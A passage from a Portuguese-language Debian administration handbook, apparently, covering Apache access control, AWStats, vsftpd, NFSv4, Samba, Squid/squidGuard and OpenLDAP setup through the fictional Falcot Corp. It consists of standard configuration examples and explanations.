deve ser notado que os documentos “protegidos” por esse mecanismo também tra-
fegam pela rede em texto puro. Se segurança é importante, toda a conexão HTTP
deve ser criptografada com SSL.
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O arquivo /etc/apache2/authfiles/htpasswd-private contém uma lista de usuários e se-
nhas; ele é comumente manipulado com o comando htpasswd. Por exemplo, o seguinte co-
mando é usado para adicionar um usuário ou alterar a senha:
# htpasswd /etc/apache2/authfiles/htpasswd-private user
New password:
Re-type new password:
Adding password for user user

Restringindo Acesso

A diretiva Require controla as restrições de acesso em um diretório (e seus sub-diretórios, recur-
sivamente).
Isso pode ser usado para restringir acesso com base em muitos critérios; nós iremos parar na
descrição de restrição de acesso combaseno endereço IP deumcliente,mas isso pode ser feito de
maneira muito mais poderosa, especialmente quando várias diretivas Require são combinadas
dentro de um bloco RequireAll.

Exemplo 11.20 Apenas permite a partir da rede local

Require ip 192.168.0.0/16

ALTERNATIVA

Sintaxe antiga
A sintaxe do Require só está disponível no Apache 2.4 (a versão na Jessie). Para
usuários doWheezy, a sintaxe no Apache 2.2 é diferente, e nós a descrevemos aqui
principalmente para referência, embora ela possa também ficar disponível no Apa-
che 2.4 usando o môdulomod_access_compat.

As diretivas Allow from e Deny from controlam as restrições de acesso em um
diretório (e seus sub-diretórios, recursivamente).

A diretiva Order informa ao servidor a ordem em que as diretivas Allow from
e Deny from são aplicadas; A última que coincidir tem precedência. Em termos
concretos, Order deny,allow permite acesso se nenhum Deny from se aplica, ou
se uma diretiva Allow from aplica. Por outro lado, Order allow,deny rejeita
acesso se nenhuma diretiva Allow from coincide (ou se uma diretiva Deny from
se aplica).

As diretivas Allow from e Deny from podem ser seguidas de um endereço
IP, uma rede (como 192.168.0.0/255.255.255.0, 192.168.0.0/24 ou mesmo
192.168.0), um nome de máquina ou nome de domínio, ou a palavra chave all,
designando todos.

Por exemplo, para rejeitar conexões por padrão mas permití-las a partir da rede
local, você poderia usar isso:

Order deny,allow
Allow from 192.168.0.0/16
Deny from all
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11.2.4. Analisadores de Log

Umanalisador de log é frequentemente instalado emumservidorweb; já que o primeiro fornece
aos administradores uma ideia precisa do padrão de uso do último.
Os administradores da Falcot Corp selecionaram o AWStats (AdvancedWeb Statistics) para analisar
seus arquivos de log do Apache.
O primeiro passo de configuração é a customização do arquivo /etc/awstats/awstats.conf.
O administradores da Falcot o mantiveram inalterado, exceto os seguintes parâmetros:

LogFile=”/var/log/apache2/access.log”
LogFormat = ”%virtualname %host %other %logname %time1 %methodurl %code %bytesd %

å refererquot %uaquot”
SiteDomain=”www.falcot.com”
HostAliases=”falcot.com REGEX[^.*\.falcot\.com$]”
DNSLookup=1
LoadPlugin=”tooltips”

Todos esses parâmetros são documentados através de comentários no arquivo de exemplo. Em
particular, os parâmetros LogFile e LogFormat descrevem a localização e o formato do arquivo
de log e a informação que ele contém; SiteDomain e HostAliases listam os vários nomes pelos
quais o site web principal é conhecido.
Para sites com alto tráfego, DNSLookup geralmente não deveria ser configurado como 1; para
sites menores, como o da Falcot descrito acima, essa configuração permite ter relatórios mais
legíveis, que incluem o nome completo da máquina ao invés de simplesmente endereços IP.

SEGURANÇA

Acesso as estatísticas
O AWStats deixa suas estatísticas disponíveis no site web sem restrições
por padrão, mas restrições podem ser configuradas para que apenas al-
guns endereços IP (provavelmente internos) possam ter acesso a elas; a
lista de endereços IP com permissão precisa ser definida no parâmetro
AllowAccessFromWebToFollowingIPAddresses

O AWStats também será habilitado para outros hosts virtuais; cada host virtual precisa de um
arquivo de configuração próprio como /etc/awstats/awstats.www.falcot.org.conf.

Exemplo 11.21 Arquivo de configuração dO AWStats para um servidor virtual

Include ”/etc/awstats/awstats.conf”
SiteDomain=”www.falcot.org”
HostAliases=”falcot.org”

O AWStats usa muitos ícones que estão armazenados no diretório /usr/share/awstats/icon/.
Para que esses ícones fiquemdisponíveis no site web, a configuração do Apache precisa ser adap-
tada para incluir as seguintes diretivas:
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Alias /awstats-icon/ /usr/share/awstats/icon/

Após alguns minutos (e uma vez que o script tenha sido rodado algumas vezes), os resultados
ficarão disponíveis online:
è http://www.falcot.com/cgi-bin/awstats.pl

è http://www.falcot.org/cgi-bin/awstats.pl

ATENÇÃO

Rotação dos arquivos de
registro

Para que as estatísticas levem em consideração todos os logs, oAWStats precisa ser
executado antes que os arquivos de log do Apache sejam rotacionados. Olhando
a diretiva prerotate do arquivo /etc/logrotate.d/apache2, isso pode ser resol-
vido colocando um link simbólico em /usr/share/awstats/tools/update.sh no
/etc/logrotate.d/httpd-prerotate:

$ cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {
daily
missingok
rotate 14
compress
delaycompress
notifempty
create 644 root adm
sharedscripts
postrotate
if /etc/init.d/apache2 status > /dev/null ; then \
/etc/init.d/apache2 reload > /dev/null; \

fi;
endscript
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \

fi; \
endscript

}
$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate
$ sudo ln -sf /usr/share/awstats/tools/update.sh \
/etc/logrotate.d/httpd-prerotate/awstats

Note também que os arquivos de log criados pelo logrotate precisam ter permis-
são de leitura para todos, especialmente o AWStats. No exemplo acima, isso é
garantido pela linha create 644 root adm (ao invés da permissão padrão 640).
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11.3. Servidor de Arquivos FTP

O FTP (File Transfer Protocol) é um dos primeiros protocolos da internet (a RFC 959 foi emitida
em 1985!). Ele era usado para distribuir arquivos antes mesmo que a Web tivesse nascido (o
protocolo HTTP foi criado em 1990, e formalmente definido em sua versão 1.0 pela RFC 1945,
emitida em 1996).
Esse protocolo permite tanto enviar arquivos quanto baixar arquivos; por essa razão, ele ainda é
amplamente usado para implantar atualizações em um site web hospedado em um provedor de
serviço de internet de alguém (ou qualquer outra entidade que hospede sites web). Nesses casos,
o acesso seguro é reforçado com a identificação de usuário e uma senha; em caso de sucesso na
autenticação, o servidor FTP dá acesso a leitura-escrita para o diretório principal (home) do
usuário.
Outros servidores FTP são principalmente usados para distribuir arquivos para qualquer um
baixar; os pacotes Debian são um bom exemplo. O conteúdo desses servidores é obtido de ou-
tro servidor geograficamente remoto; e então disponibilizados para usuários menos distantes.
Isso significa que a autenticação do cliente não é necessária; como consequência, esse modo de
operação é conhecido como “anonymous FTP”. Para ser mais correto, os cliente fazem uma au-
tenticação com nome de usuário anonymous; a senha é, geralmente, por convenção, o endereço
de email do usuário, mas o servidor ignora isso.
Estão disponíveis no Debian muitos servidores FTP (ftpd, proftpd-basic, pyftpd e mais). Os admi-
nistradores da Falcot Corp escolheram o vsftpd porque eles apenas usam o servidor FTP para
distribuir alguns arquivos (incluindo um repositório de pacotes Debian); como eles não preci-
sam de recursos avançados, eles escolheram focar nos aspectos de segurança.
A instalação do pacote cria um usuário ftp no sistema. Essa conta é sempre usada para co-
nexões de FTP anônimas, e seu diretório inicial (home) (/srv/ftp/) é a raiz da árvore que
está disponível ao usuários que se conectam a esse serviço. A configuração padrão (em /etc/
vsftpd.conf) necessita de algumas mudanças para atender a simples necessidade de tornar
grandes arquivos disponíveis para baixar pelo público: o acesso anônimo precisa ser habilitado
(anonymous_enable=YES) e o acesso apenas para leitura de usuários locais precisa ser desabili-
tado (local_enable=NO). Esse último é particularmente importante já que o protocolo FTP não
usa nenhuma forma de criptografia e a senha do usuário poderia ser interceptada pelo cabo.

11.4. Servidor de Arquivos NFS

O NFS (Network File System) é um protocolo que permite acesso remoto a um sistema de arqui-
vos através da rede. Todos os sistemas Unix podem trabalhar com esse protocolo; mas quando
sistemas Windows estão envolvidos, o Samba tem que ser usado.
O NFS é uma ferramenta muito útil, mas historicamente, ela tem sofrido commuitas limitações,
a maioria delas tendo sido atribuídas a versão 4 do protocolo. A contrapartida é que a última
versão do NFS é mais difícil de configurar quando você quer usar recursos básicos de segurança
tais como autenticação e criptografia já que ele faz uso do Kerberos para esses assuntos. E sem
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isso, o protocolo NFS tem que ficar restrito a uma rede local confiável já que os dados viajam
pela rede sem criptografia (um sniffer pode interceptá-los) e os direitos de acesso são optidos
com base no endereço IP do cliente (que pode ser falsificado (”spoofed”)).

DOCUMENTAÇÃO

NFS HOWTO
Boa documentação para implementar o NFSv4 é bastante escassa. Aqui estão al-
gumas indicações de conteúdo com qualidade variável, mas que devem ao menos
dar algumas pistas sobre o que deve ser feito.

è https://help.ubuntu.com/community/NFSv4Howto

è http://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Proteção do NFS

Se você não usa recursos de segurança baseados no Kerberos, é vital garantir que apenas má-
quinas com permissão de usar o NFS possam se conectar nos vários servidores RPC requeridos,
porque o protocolo básico confia nos dados recebidos a partir da rede. O firewall tem também
que bloquear IP spoofing para prevenir que uma máquina de fora atue como uma de dentro, e
acesso às portas apropriadas tem que ser restrito às máquinas destinadas a acessar os compar-
tilhamentos NFS.

DE VOLTA AO BÁSICO

RPC
RPC (Remote Procedure Call) é um padrão Unix para serviços remotos. O NFS é
um desses serviços.

Os serviços RPC se registram em um diretório conhecido como portmapper. Um
cliente querendo realizar uma consulta NFS primeiro consulta o portmapper (na
porta 111, seja TCP ou UDP), e pergunta pelo servidor NFS; a resposta gralmente
vem pela porta 2049 (a padrão para o NFS). Nem todos os serviços RPC necessari-
amente usam uma porta fixa.

Versões mais antigas do protocolo necessitavam de outros serviços RPC que usavam portas di-
namicamente atribuídas. Felizmente, com a versão 4 do NFS, apenas a porta 2049 (para NFS) e
111 (para o portmapper) são necessárias, e assim, fácil de configurar no firewall.

11.4.2. Servidor NFS

O servidor NFS é parte do núcleo Linux; nos núcleos fornecidos peloDebian ele é construído
como um módulo do núcleo. Se o servidor NFS tem que ser rodado automaticamente na ini-
cialização, o pacote nfs-kernel-server deve ser instalado; ele contém os scripts de inicialização
relevantes.
O arquivo de configuração do servidor NFS, /etc/exports, lista os diretórios que estão disponí-
veis através da rede (exported). Para cada compartilhamento NFS, apenas uma determinada lista
de máquinas tem acesso permitido. Um controle mais refinado de acesso pode ser obtido com
algumas opções. A sintaxe para esse arquivo é bem simples:
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/diretório/para/compartilhar máquina1(opção1,opção2,...) máquina2(...) ...

Note que comoNFSv4, todos os diretórios exportados temque ser parte de umaúnica hierarquia
e que o diretório raiz dessa hierarquia tem que ser exportado e identificado com a opção fsid=0
ou fsid=root.
Cada máquina pode ser identificada tanto pelo seu nome no DNS quanto seu endereço IP. Todo
um conjunto de máquinas pode também ser especificado usando tanto uma sintaxe como *.fal-
cot.com ou um intervalo de endereços IP como 192.168.0.0/255.255.255.0 ou 192.168.0.0/24.
Os diretórios ficam disponíveis apenas para leitura por padrão (ou com a opção ro). A opção rw
permite o acesso a leitura-escrita. Os clientes NFS tipicamente fazem a conexão a partir de uma
porta restrita ao root (em outras palavras, abaixo da 1024); essa restrição pode ser elevada pela
opção insecure (a opção secure é implícita, mas pode ser explícita para mais clareza).
Por padrão, o servidor apenas responde a uma consultaNFS quando a operação de disco corrente
é concluída (opção sync); isso pode ser desabilitado com a opção async. A escrita assíncrona
aumenta um pouco a performance, mas ela diminui a confiança já que existe o risco de perda
de dados no caso do servidor falhar entre comunicar a escrita e realmente escrever no disco.
Como o valor padrão foi alterado recentemente (comparado ao valor histórico do NFS), uma
configuração explícita é recomendada.
Para que não seja dado acesso de root no sistema de arquivos a nenhum cliente NFS, todas as
consultas que parecemvir do usuário root são consideradas pelo servidor comovindo do usuário
nobody. Esse comportamento corresponde à opção root_squash, e é habilitado por padrão. A
opção no_root_squash, que desabilita esse comportamento, é arriscada e só deveria ser usada
em ambientes controlados. As opções anonuid=uid e anongid=gid permitem especificar outro
usuário falso a ser usado ao invés de UID/GID 65534 (que corresponde ao usuário nobody e ao
grupo nogroup).
Com o NFSv4, você pode adicionar uma opção sec para indicar o nível de segurançaque você
quer: sec=sys é o padrão, sem recursos especiais de segurança, sec=krb5 habilita apenas a auten-
ticação, sec=krb5i adiciona proteção de integridade, e sec=krb5p é o mais completo nível, que
inclui proteção de privacidade (com criptografia de dados). Para isso funcionar você precisa do
Kerberos configurado e funcionando (esse serviço não é coberto por esse livro).
Outras opções estão disponíveis; elas estão documentadas na página de manual exports(5).

ATENÇÃO

Primeira instalação
O script de inicialização /etc/init.d/nfs-kernel-server apenas inicia o ser-
vidor se o /etc/exports lista um ou mais compartilhamentos NFS válidos. Na
configuração inicial, uma vez que esse arquivo tenha sido editado para conter en-
tradas válidas, o servidor NFS já pode ser iniciado com o seguinte comando:

# service nfs-kernel-server start

293Capítulo 11 — Serviços de Rede: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN



11.4.3. Cliente NFS

Como acontece com outros sistemas de arquivos, a integração do compartilhamento NFS na hi-
erarquia do sistema requer montagem. Já que esse sistema de arquivos tem suas peculiaridades,
alguns ajustes foram necessários na sintaxe do comando mount e do arquivo /etc/fstab.

Exemplo 11.22 Montando manualmente com o comando mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/
å shared

Exemplo 11.23 Entrada NFS no arquivo /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

A entrada descrita acima monta, ao levantar o sistema, o diretório NFS /shared/ no servidor
arrakis dentro do diretório local /srv/shared/. O acesso de leitura-escrita é requisitado (visto
o parâmetro rw). A opção nosuid é uma medida de proteção que apaga qualquer bit setuid ou
setgid de programas armazenados no compartilhamento. Se o compartilhamento NFS é apenas
para armazenar documentos, outra opção recomendada é a noexec, a qual previne a execução de
programas armazenados no compartilhamento. Note que no servidor, o diretório shared está
abaixo da raiz NFSv4 exportada ( por exemplo, /export/shared), não é um diretório de nível
mais alto.
A página de manual nfs(5) descreve todas as opções com alguns detalhes.

11.5. Configurando um Compartilhamento Windows com o Samba

O Samba é um conjunto de ferramentas para lidar com o protocolo SMB (também conhecido
como “CIFS”) no Linux. Esse protocolo é usado pelo Windows para compartilhamento de rede e
impressoras compartilhadas.
Samba também pode atuar como um controlador de domínio Windows. Esta é uma excelente
ferramenta para garantir a perfeita integração de servidores Linux e as máquinas desktop de
escritório ainda com o Windows.

11.5.1. Servidor Samba

O pacote samba contém os dois principais servidores do Samba 4, smbd e nmbd.
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DOCUMENTAÇÃO

Aprofundando
O servidor Samba é extremamente configurável e versátil, e pode se adaptar a um
grande número de casos de uso diferentes se encaixando em muitos requerimentos
e arquiteturas de rede diferentes. Esse livro apenas foca no caso de uso aonde o
Samba é usado como servidor autônomo, mas ele também pode ser um Controla-
dor de Domínio NT4 ou um completo Controlador de Domínio de Diretório Ativo
(”Active Directory Domain Controller”), ou um simples membro de um domínio
existente (o qual poderia ser gerenciado po um servidor Windows).

O pacote samba-doc contém, com riqueza de comentários, arquivos de exemplo
em /usr/share/doc/samba-doc/examples/.

FERRAMENTA

Autenticando com um
Servidor Windows

Winbind dá aos administradores de sistema a opção de usar um servidor Windows
como um servidor de autenticação. Winbind também se integra de forma limpa
com PAM e NSS. Isso permite configurar máquinas Linux aonde todos os usuários
de um domínio Windows automaticamente tenham uma conta.

Mais informações podem ser obtidas no diretório /usr/share/doc/samba-doc/
examples/pam_winbind/.

Configurando com debconf

O pacote realiza uma configuraçãomínima durante a instalação inicial mas você realmente deve
rodar dpkg-reconfigure samba-common para adaptá-la:
O primeiro item de informação necessária é o nome do grupo de trabalho (”workgroup”) ao qual
o servidor Samba pertencerá (a resposta é FALCOTNET em nosso caso).
O pacote também propõe a identificação do servidor WINS a partir da informação fornecida
pelo daemon DHCP. Os administradores da Falcot Corp rejeitaram essa opção, já que eles tem a
intenção de usar o próprio servidor Samba como um servidor WINS.

Configurando Manualmente

Mudanças no smb.conf Os requerimentos na Falcot fazemnecessário que outras opção sejam
modificadas no arquivo de configuração /etc/samba/smb.conf. O trecho a seguir resumem as
alterações que foram feitas na seção [global].
[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
workgroup = FALCOTNET

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes x1
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[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are ”standalone server”, ”member server”, ”classic primary
# domain controller”, ”classic backup domain controller”, ”active
# directory domain controller”.
#
# Most people will want ”standalone sever” or ”member server”.
# Running as ”active directory domain controller” will require first
# running ”samba-tool domain provision” to wipe databases and create a
# new domain.

server role = standalone server

# ”security = user” is always a good idea. This will require a Unix account
# in this server for every user accessing the server.

security = user x2
[...]

x1 Indica que o Samba deveria atuar como um servidor de nomes Netbios (WINS) para a rede
local.

x2 Esse é o valor padrão para esse parâmetro; contudo, como ele é central para a configu-
ração do Samba, o recomendado é preenchê-lo explicitamente. cada usuário tem que se
autenticar antes de acessar qualquer compartilhamento.

Adicionando Usuários Cada usuário do Samba precisa ter uma conta no servidor; as contas
Unix tem que ser criadas primeiro, depois o usuário precisa ser registrado no banco de dados do
Samba. O passo no Unix é feito bem facilmente (usando o adduser por exemplo).
Adicionar um usuário existente ao banco de dados do Samba é uma questão de rodar o comando
smbpasswd -a usuário; esse comando pergunta pela senha interativamente.
Um usuário pode ser apagado com o comando smbpasswd -x usuário. Uma conta Samba tam-
bém pode ser temporariamente desabilitada (com smbpasswd -d usuário) e reabilitada mais
tarde (com smbpasswd -e usuário).

11.5.2. Cliente Samba

Os recursos do cliente no Samba permitem que uma máquina Linux acesse compartilhamentos
Windows e impressoras compartilhadas. Os programas necessários estão disponíveis nos paco-
tes cifs-utils e smbclient.
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O Programa smbclient

O programa smbclient consulta servidores SMB. Ele aceita a opção -U usuário, para conectar
em um servidor sob uma identidade específica. smbclient //servidor/compartilhamento
acessa o compartilhamento de maneira interativa, similar a linha de comando de um cliente
FTP. smbclient -L servidor lista todos os compartilhamentos disponíveis (e visíveis) em um
servidor.

Montando Compartilhamentos Windows

O comando mount permite montar um compartilhamentoWindows na hierarquia do sistema de
arquivos do Linux (com a ajuda do mount.cifs fornecido pelo cifs-utils).

Exemplo 11.24 Montando um compartilhamento Windows

mount -t cifs //arrakis/shared /shared \
-o credentials=/etc/smb-credentials

O arquivo /etc/smb-credentials (o qual não deve ser legível pelos usuários) tem o seguinte
formato:
username = user
password = password

Outras opções podem ser especificadas pela linha de comando; sua lista completa está disponível
na página de manual mount.cifs(1). Duas opções em particular podem ser interessantes: uid
e gid permitem forçar o dono e grupo dos arquivos disponíveis na montagem, de modo a não
restringir o acesso para o root.
Amontagem de um compartilhamentoWindows também pode ser configurada em /etc/fstab:
//servidor/shared /shared cifs credentials=/etc/smb-credentials

Desmontando um compartilhamento SMB/CIFS é feito com o comando padrão umount.

Imprimindo com uma Impressora Compartilhada

CUPS é uma solução elegante para impressão a partir de uma estação de trabalho Linux em uma
impressora compartilhada por uma máquina Windows. Quando o smbclient está instalado, o
CUPS permite a instalação de impressoras Windows compartilhadas automaticamente.
Aqui estão os passos necessários:

• Entre na interface de configuração do CUPS: http://localhost:631/admin

• Clique em ”Adicionar Impressora”.
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• Selecione o dispositivo de impressora, escolha “Impressora Windows via SAMBA”.
• Insira a conexão URI para a impressora de rede. Deve se parecer com o seguinte:
smb://usuário:senha@servidor/impressora.

• Digite o nome que irá identificar de maneira única essa impressora. Em seguida digite
a descrição e localização da impressora. Essas são as cadeias de caracteres que irão ser
mostradas aos usuários finais para ajudá-los a identificar as impressoras.

• Indicar o fabricante/modelo da impressora, ou fornecer diretamente um arquivo funcio-
nal de descrição da impressora (PPD).

Voilà, a impressora está operacional!

11.6. Proxy HTTP/FTP

Um proxy HTTP/FTP atua como um intermediário para conexões HTTP e/ou FTP. Seu papel é
duplo:

• Caching: documentos recentemente baixados são copiados localmente, o que evita baixá-
los mais de uma vez.

• Servidor de filtragem: se o uso do proxy é obrigatório (e conexões de saída são bloqueadas
a menos que elas passem através do proxy), então o proxy pode determinar quando a
requisição pode ser concedida.

Falcot Corp selecionou o Squid como seu servidor de proxy.

11.6.1. Instalando

O pacote Debian squid3 contém apenas o proxy (e cache) modular. Fazer dele um servidor de
filtragem requer a instalação do pacote adicional squidguard. Adicionalmente, o squid-cgi provê
uma interface de consulta e administração para o proxy Squid.
Antes da instalação, deve-se tomar o cuidado de checar que o sistema pode identificar seu
próprio nome completo: o hostname -f tem que retornar um nome completo qualificado (in-
cluindo o domínio). Se não, então o arquivo /etc/hosts deve ser editado para conter o nome
completo do sistema (por exemplo, arrakis.falcot.com). O nome oficial do computador deve ser
validado pelo administrador de rede para que sejam evitados potenciais conflitos de nome.

11.6.2. Configurando um Cache

Habilitar o recurso de cache no servidor é uma simples questão de editar o arquivo de confi-
guração /etc/squid3/squid.conf e permitir que máquinas da rede local executem consultas
através do proxy. Os exemplos a seguir mostram as modificações feitas pelos administradores
da Falcot Corp:
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Exemplo 11.25 O arquivo /etc/squid3/squid.conf (trecho)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

# Example rule allowing access from your local networks. Adapt
# to list your (internal) IP networks from where browsing should
# be allowed
acl our_networks src 192.168.1.0/24 192.168.2.0/24
http_access allow our_networks
http_access allow localhost
# And finally deny all other access to this proxy
http_access deny all

11.6.3. Configurando um Filtro

O squid sozinho não faz a filtragem; essa ação é delegada ao squidGuard. O primeiro tem então
que ser configurado para interagir com o último. Isso envolve a adição da seguinte diretiva ao
arquivo /etc/squid3/squid.conf:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid3/squidGuard.conf

O programa CGI /usr/lib/cgi-bin/squidGuard.cgi também precisa estar instalado, usando
/usr/share/doc/squidguard/examples/squidGuard.cgi.gz como ponto de partida. As mo-
dificações necessárias para esse script são as variáveis $proxy e $proxymaster (o nomedoproxy
e o email de contato do administrador, respectivamente). As variáveis $image e $redirect de-
vem apontar para imagens existentes que representam a rejeição de uma consulta.
O filtro é habilitado com o comando service squid3 reload. Contudo, como o pacote
squidguard não faz filtragem por padrão, é tarefa do administrador definir a política. Isso
pode ser feito criando o arquivo /etc/squid3/squidGuard.conf (usando o /etc/squidguard/
squidGuard.conf.default como modelo se necessário).
O banco de dados em uso tem que ser regenerado com update-squidguard após cada alteração
feita no arquivo de configuração squidGuard (ou em uma das listas de domínios ou URLs que
ele menciona). A sintaxe do arquivo de configuração é documentada no seguinte site web:
è http://www.squidguard.org/Doc/configure.html

ALTERNATIVA

DansGuardian
Opacote dansguardian é uma alternativa ao squidguard. Esse software não apenas
lida comuma lista negra deURLs proibidas, mas pode ter tirar vantagemdo sistema
PICS (Platform for Internet Content Selection) para decidir quando uma página é
aceitável através de uma análise dinâmica de seu conteudo.
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11.7. Diretório LDAP

OpenLDAP é uma implementação do protocolo LDAP; em outras palavras, é um banco de dados
com propósito especial desenvolvido para armazenar diretórios. No caso mais comum de uso, o
uso de um servidor LDAP permite o gerenciamento centralizado de contas de usuários e permis-
sões relacionadas. Alémdomais, umbanco de dados LDAP é facilmente replicável, o que permite
configurar múltiplos servidores LDAP sincronizados. Quando a rede e a base de usuários cresce
rapidamente, a carga pode então ser balanceada por entre vários servidores.
Os dados LDAP são estruturados e hierárquicos. A estrutura é definida por “schemas” que des-
crevem os tipos de objetos que o banco de dados pode armazenar, com uma lista de todos os
seus possíveis atributos. A sintaxe usada para se referir a um objeto em particular no banco de
dados é baseada em sua estrutura, o que explica sua complexidade.

11.7.1. Instalando

O pacote slapd contém o servidor OpenLDAP. O pacote ldap-utils inclui ferramentas de linha de
comando para interação com os servidores LDAP.
A instalação do slapd geralmente faz muito poucas perguntas e o banco de dados resultante
provavelmente não atenderá suas necessidades. Felizmente, um simples dpkg-reconfigure
slapd irá deixar você reconfigurar o banco de dados LDAP com mais detalhes:

• Omitir a configuração do servidor OpenLDAP? Não, claro que não, nós queremos configu-
rar esse serviço.

• DNS nome de domínio: “falcot.com”.
• Nome da organização: “Falcot Corp”.
• Senhas administrativas precisam ser digitadas.
• Banco de dados para utilizar: ”MDB”.
• Você quer que o banco de dados seja removido quando o slapd é removido (purged)? Não.
Não faz sentido arriscar a perda do banco de dados em caso de um engano.

• Mover banco de dados antigo? Essa pergunta só é feita enquanto a configuração é feita e
já existe um banco de dados. Só responda “sim” se você realmente querer iniciar a partir
de um banco de dados limpo, por exemplo, se você rodar dpkg-reconfigure slapd logo
após a instalação inicial.

• Permitir protocolo LDAPv2? Não, isso não faz sentido. Todas as ferramentas que nós
vamos usar entendem o protocolo LDAPv3.

DE VOLTA AO BÁSICO

Formato LDIF
Um arquivo LDIF (formato de intercâmbios de dados LDAP - LDAP Data Inter-
change Format) é um arquivo de texto portável que descreve o conteúdo de uma
base de dados LDAP (ou uma parte da mesma); pode ser utilizada para injetar da-
dos em outro servidor LDAP.
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Um base de dados miníma está configurada agora, como demonstrado pela seguinte consulta:

$ ldapsearch -x -b dc=falcot,dc=com
# extended LDIF
#
# LDAPv3
# base <dc=falcot,dc=com> with scope sub
# filter: (objectclass=*)
# requesting: ALL
#

# falcot.com
dn: dc=falcot,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Falcot Corp
dc: falcot

# admin, falcot.com
dn: cn=admin,dc=falcot,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 2

A consulta retornour dois objetos: a organização em si, e o usuário administrativo.

11.7.2. Preenchendo o Diretório

Como um banco de dados vazio não é particularmente útil, nós vamos injetar nele todos os
diretórios existentes; isso inclui os banco de dados de usuários, grupos, serviços e máquinas.
O pacotemigrationtools provê um conjunto de scripts dedicados a extrair dados a partir dos dire-
tórios padrões do Unix (/etc/passwd, /etc/group, /etc/services, /etc/hosts e mais), con-
verter seus dados, e injetá-los em um banco de dados LDAP.
Uma vez que o pacote esteja instalado, o /etc/migrationtools/migrate_common.ph tem
que ser editado; as opções IGNORE_UID_BELOW e IGNORE_GID_BELOW precisam ser habilitadas
(descomentá-las é suficiente), e DEFAULT_MAIL_DOMAIN/DEFAULT_BASE precisa ser atualizada.
A real operação de migração é feita pelo comando migrate_all_online.sh, como a seguir:
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# cd /usr/share/migrationtools
# LDAPADD=”/usr/bin/ldapadd -c” ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh faz algumas perguntas sobre o banco de dados LDAP para o qual os
dados serão migrados. Tabela 11.1 resume as respostas dadas no caso da Falcot.

Questão Resposta
Contexto de nome X.500 dc=falcot,dc=com
Nome do servidor LDAP localhost
Gerenciando o DN cn=admin,dc=falcot,dc=com
Credenciais Bind a senha administrativa
Criar DUAConfigProfile não

Tabela 11.1 Responda as perguntas feitas pelo script migrate_all_online.sh

Nós ignoramos a migração do arquivo /etc/aliases deliberadamente, já que o schema padrão,
como o fornecido pelo Debian não inclui as estruturas que esse script usa para descrever ”email
aliases”. Se quisermos integrar esse dado no diretório, o arquivo /etc/ldap/schema/misc.
schema deve ser adicionado ao schema padrão.

FERRAMENTA

Navegando em diretório
LDAP

O comando jxplorer (do pacote de mesmo nome) é uma ferramenta gráfica que
permite navegar e editar um banco de dados LDAP. Ele é uma ferramenta interes-
sante que provê ao administrador uma boa visualização da estrutura hierárquica
dos dados LDAP.

Note também o uso da opção -c do comando ldapadd; essa opção faz com que o processamento
não pare em caso de erro. O uso dessa opção é necessário porque a conversão do /etc/services
geralmente gera alguns erros que podem ser ignorados com segurança.

11.7.3. Gerenciando Contas com LDAP

Agora o banco de dados LDAP contém algumas informações úteis, chegou a hora de fazer uso
desses dados. Essa sessão foca em como configurar um sistema Linux para que os vários sistemas
de diretórios usem o banco de dados LDAP.

Configurando o NSS

O sistema NSS (Name Service Switch, see sidebar NSS e banco de dados do sistema [167]) é um
sistema modular desenvolvido para definir ou obter informações para o sistema de diretórios.
Para usar o LDAP como fonte de dados para o NSS requer a instalação do pacote libnss-ldap. Sua
instalação faz algumas perguntas; as respostas estão resumidas em Tabela 11.2 .
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Questão Resposta
Servidor LDAP Uniform Resource Identifier ldap://ldap.falcot.com
Nome distinto da base de pesquisa dc=falcot,dc=com
Versão LDAP para usar 3
Obanco de dados LDAP precisa de um login? não
Privilégios especiais LDAP para o root sim
Fazer o arquivo de configuração com per-
missão de leitura/escrita apenas para seu
proprietário

não

Conta LDAP para root cn=admin,dc=falcot,dc=com
A senha da conta de root do LDAP a senha administrativa

Tabela 11.2 Configurando o pacote libnss-ldap

O arquivo /etc/nsswitch.conf precisa então ser modificado, para configurar o NSS para usar
o recém-instalado módulo ldap.

Exemplo 11.26 O arquivo /etc/nsswitch.conf

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the ‘glibc-doc’ and ‘info’ packages installed, try:
# ‘info libc ”Name Service Switch”’ for information about this file.

passwd: ldap compat
group: ldap compat
shadow: ldap compat

hosts: files dns ldap
networks: ldap files

protocols: ldap db files
services: ldap db files
ethers: ldap db files
rpc: ldap db files

netgroup: ldap files

O módulo ldap usualmente é inserido antes dos outros, e ele irá então ser consultado primeiro.
A notável exceção é o serviço hosts já que contactar o servidor LDAP requer consultar o DNS pri-
meiro (para resolver ldap.falcot.com). Sem essa exceção, uma consulta de hostname iria recair
ao servidor LDAP; isso iria disparar uma resolução de nome ao servidor LDAP, e cairia em um
loop infinito.
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Se o servidor LDAP deve ser considerado autoritário (e os arquivos locais usados pelo módulo
files desconsiderados), serviços podem ser configurados com a seguinte sintaxe:
serviço: ldap [NOTFOUND=return] files.
Se a entrada requisitada não existir no banco de dados LDAP, a consulta irá retornar uma res-
posta “não existe” mesmo que o recurso exista em um dos arquivos locais; esses arquivos locais
irão apenas ser usados quando o serviço LDAP estiver parado.

Configurando o PAM

Essa seção descreve a configuração do PAM (see sidebar /etc/environment e
/etc/default/locale [153]) que irá permitir as aplicações realizarem as autenticações
necessárias no banco de dados LDAP.

ATENÇÃO

Autenticação quebrada
Alterar a configuração padrão do PAM usada por vários programas é uma operação
